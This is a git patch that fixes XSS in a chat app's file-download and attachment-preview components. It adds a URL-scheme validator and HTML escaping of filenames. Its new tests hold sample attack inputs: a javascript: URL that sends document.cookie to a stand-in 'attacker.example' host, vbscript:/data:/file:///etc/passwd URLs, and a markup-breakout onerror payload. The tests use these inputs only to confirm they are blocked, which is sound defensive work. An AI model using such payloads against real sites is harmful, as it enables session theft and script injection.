From bf85dd35cb1d97d637b56c1f544f280d1a569132 Mon Sep 17 00:00:00 2001 From: waleed Date: Sat, 13 Jun 2026 10:58:19 -0700 Subject: [PATCH] fix(chat): escape attachment filename and validate file URL scheme to prevent XSS --- .../message/components/file-download.test.tsx | 58 +++++++++++++++++++ .../message/components/file-download.tsx | 20 ++++++- .../chat/components/message/message.test.tsx | 43 ++++++++++++++ .../app/chat/components/message/message.tsx | 28 ++------- 4 files changed, 124 insertions(+), 25 deletions(-) create mode 100644 apps/sim/app/chat/components/message/components/file-download.test.tsx create mode 100644 apps/sim/app/chat/components/message/message.test.tsx diff --git a/apps/sim/app/chat/components/message/components/file-download.test.tsx b/apps/sim/app/chat/components/message/components/file-download.test.tsx new file mode 100644 index 00000000000..6d48be1e2bc --- /dev/null +++ b/apps/sim/app/chat/components/message/components/file-download.test.tsx @@ -0,0 +1,58 @@ +/** + * @vitest-environment jsdom + */ +import { describe, expect, it, vi } from 'vitest' + +vi.mock('@/components/emcn', () => ({ + Button: () => null, + Download: () => null, + Loader: () => null, +})) + +vi.mock('@/components/icons/document-icons', () => ({ + DefaultFileIcon: () => null, + getDocumentIcon: () => () => null, +})) + +vi.mock('@/lib/core/config/env', () => ({ + env: {}, + getEnv: vi.fn(), +})) + +vi.mock('@/lib/core/config/feature-flags', () => ({ + isProd: false, +})) + +import { isSafeHttpUrl } from '@/app/chat/components/message/components/file-download' + +describe('isSafeHttpUrl', () => { + it('allows absolute http(s) URLs', () => { + expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true) + expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true) + }) + + it('allows same-origin relative URLs (resolved against the browser origin)', () => { + expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true) + }) + + it('rejects javascript: URLs', () => { + expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false) + expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false) + }) + + it('rejects other script-capable or non-navigable schemes', () => { + expect(isSafeHttpUrl('data:text/html,')).toBe(false) + expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false) + expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false) + expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false) + }) + + it('treats relative junk as same-origin http (safe) rather than throwing', () => { + expect(isSafeHttpUrl('')).toBe(true) + expect(isSafeHttpUrl('not a url')).toBe(true) + }) + + it('rejects unparseable absolute input without throwing', () => { + expect(isSafeHttpUrl('http://')).toBe(false) + }) +}) diff --git a/apps/sim/app/chat/components/message/components/file-download.tsx b/apps/sim/app/chat/components/message/components/file-download.tsx index bd5aa880dcc..4ba289b1ec1 100644 --- a/apps/sim/app/chat/components/message/components/file-download.tsx +++ b/apps/sim/app/chat/components/message/components/file-download.tsx @@ -6,6 +6,7 @@ import { sleep } from '@sim/utils/helpers' import { Music } from 'lucide-react' import { Button, Download, Loader } from '@/components/emcn' import { DefaultFileIcon, getDocumentIcon } from '@/components/icons/document-icons' +import { getBrowserOrigin } from '@/lib/core/utils/urls' import type { ChatFile } from '@/app/chat/components/message/message' const logger = createLogger('ChatFileDownload') @@ -53,6 +54,21 @@ function getFileUrl(file: ChatFile): string { return `/api/files/serve/${encodeURIComponent(file.key)}?context=${file.context || 'execution'}` } +/** + * Validates that a URL uses an http(s) scheme before it is opened in a new window. + * Rejects `javascript:`, `data:`, `blob:`, `vbscript:`, and other schemes that could + * execute script in the chat origin, since `file.url` originates from untrusted + * workflow/agent output. + */ +export function isSafeHttpUrl(url: string): boolean { + try { + const parsed = new URL(url, getBrowserOrigin() ?? undefined) + return parsed.protocol === 'http:' || parsed.protocol === 'https:' + } catch { + return false + } +} + async function triggerDownload(url: string, filename: string): Promise { const response = await fetch(url) if (!response.ok) { @@ -88,8 +104,8 @@ export function ChatFileDownload({ file }: ChatFileDownloadProps) { await triggerDownload(url, file.name) } catch (error) { logger.error(`Failed to download file ${file.name}:`, error) - if (file.url) { - window.open(file.url, '_blank') + if (file.url && isSafeHttpUrl(file.url)) { + window.open(file.url, '_blank', 'noopener,noreferrer') } } finally { setIsDownloading(false) diff --git a/apps/sim/app/chat/components/message/message.test.tsx b/apps/sim/app/chat/components/message/message.test.tsx new file mode 100644 index 00000000000..50f0323b3f7 --- /dev/null +++ b/apps/sim/app/chat/components/message/message.test.tsx @@ -0,0 +1,43 @@ +/** + * @vitest-environment node + */ +import { describe, expect, it, vi } from 'vitest' + +vi.mock('@/components/emcn', () => ({ + Duplicate: () => null, + Tooltip: {}, +})) + +vi.mock('@/app/chat/components/message/components/file-download', () => ({ + ChatFileDownload: () => null, + ChatFileDownloadAll: () => null, +})) + +vi.mock('@/app/chat/components/message/components/markdown-renderer', () => ({ + default: () => null, +})) + +import { escapeHtml } from '@/app/chat/components/message/message' + +describe('escapeHtml', () => { + it('escapes all five HTML-significant characters', () => { + expect(escapeHtml('&<>"\'')).toBe('&<>"'') + }) + + it('neutralizes a markup-breakout filename payload', () => { + const payload = '' + const escaped = escapeHtml(payload) + expect(escaped).not.toContain('') + expect(escaped).toBe('</title><img src=x onerror=alert(document.origin)>') + }) + + it('escapes ampersands first so entities are not double-broken', () => { + expect(escapeHtml('a & b < c')).toBe('a & b < c') + }) + + it('leaves safe strings untouched', () => { + expect(escapeHtml('report-2026.pdf')).toBe('report-2026.pdf') + expect(escapeHtml('')).toBe('') + }) +}) diff --git a/apps/sim/app/chat/components/message/message.tsx b/apps/sim/app/chat/components/message/message.tsx index a005c7257a5..661dd4e1657 100644 --- a/apps/sim/app/chat/components/message/message.tsx +++ b/apps/sim/app/chat/components/message/message.tsx @@ -49,7 +49,7 @@ const HTML_ESCAPES: Record = { /** * Escapes HTML entities so untrusted strings are safe to interpolate into markup. */ -function escapeHtml(value: string): string { +export function escapeHtml(value: string): string { return value.replace(/[&<>"']/g, (c) => HTML_ESCAPES[c] || c) } @@ -129,28 +129,10 @@ export const ClientChatMessage = memo( const isInteractive = !!attachment.dataUrl?.trim() && attachment.dataUrl.startsWith('data:') - const openAttachmentPreview = () => { + const handleOpenPreview = () => { const validDataUrl = attachment.dataUrl?.trim() if (!validDataUrl?.startsWith('data:')) return - const newWindow = window.open('', '_blank') - if (newWindow) { - newWindow.document.write(` - - - - ${attachment.name} - - - - ${attachment.name} - - - `) - newWindow.document.close() - } + openAttachmentPreview(attachment.name, validDataUrl) } return ( @@ -170,14 +152,14 @@ export const ClientChatMessage = memo( if (!isInteractive) return e.preventDefault() e.stopPropagation() - openAttachmentPreview() + handleOpenPreview() }} onKeyDown={(e) => { if (!isInteractive) return if (e.key === 'Enter' || e.key === ' ') { e.preventDefault() e.stopPropagation() - openAttachmentPreview() + handleOpenPreview() } }} >